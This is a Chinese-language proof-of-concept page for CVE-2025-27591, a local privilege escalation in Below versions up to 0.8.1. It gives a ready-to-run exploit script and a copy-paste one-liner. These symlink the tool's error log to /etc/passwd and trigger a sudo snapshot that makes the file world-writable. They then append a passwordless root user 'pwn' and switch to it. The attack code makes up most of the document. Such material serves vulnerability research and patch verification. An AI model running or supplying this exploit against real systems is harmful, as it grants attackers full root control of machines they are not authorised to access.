Below <= v0.8.1
通过世界可写日志符号链接实现本地权限提升
PoC 漏洞利用
Below 版本 <= 0.8.1 包含一个严重的本地权限提升漏洞 (CVE-2025-27591)。
由于配置错误的世界可写日志目录 (/var/log/below/) 以及 Rust 代码库中不安全的权限逻辑,本地攻击者可以将 error_<user>.log 符号链接到任何 root 拥有的文件,例如 /etc/passwd。
当使用 sudo 执行 below snapshot 时,它会强制将日志文件的模式设置为 0666 并写入其中——即使它是一个符号链接。
这允许注入一个无密码的 root 特权用户,从而导致获得完全的 root shell 访问权限。
git clone https://github.com/rvizx/CVE-2025-27591
cd CVE-2025-27591
chmod +x exploit.sh
./exploit.sh
或者
漏洞利用代码
# 标题 : Below v0.8.1 - 本地权限提升 (CVE-2025-27591) - PoC 漏洞利用
# 作者 : Ravindu Wickramasinghe (又名 rvz)
# 用法 : usage: ./exploit.sh
u=$(id -un)
rm -f /var/log/below/error_"$u".log
ln -s /etc/passwd /var/log/below/error_"$u".log # 将日志文件符号链接到 /etc/passwd
export LOGS_DIRECTORY=/var/log/below
sudo /usr/bin/below snapshot --begin now 2>/dev/null || true # below 将 symlink 目标 chmod 为 0666 并写入
echo 'pwn::0:0:root:/root:/bin/bash' >> /etc/passwd # 将 pwn(root 特权)用户条目追加到 /etc/passwd(现在可写)
su pwn
注意:在 IppSec 的演练中使用了一行命令而不是 exploit.sh 之后,我将 exploit.sh 添加到了 README.md 中。我认为这样对大家更方便。感谢 IppSec。 ^^
或者
一行命令 - (复制、粘贴并执行)
u=$(id -un); rm -f /var/log/below/error_"$u".log; ln -s /etc/passwd /var/log/below/error_"$u".log; export LOGS_DIRECTORY=/var/log/below; sudo /usr/bin/below snapshot --begin now 2>/dev/null || true; echo 'pwn::0:0:root:/root:/bin/bash' >> /etc/passwd; su pwn
sudo 组中,并且对 /usr/bin/below * 具有 NOPASSWD 访问权限由 SUSE 的 Matthias Gerstner 发现并报告 - 安全公告
PoC 漏洞利用 - Ravindu Wickramasinhge 又名 rvz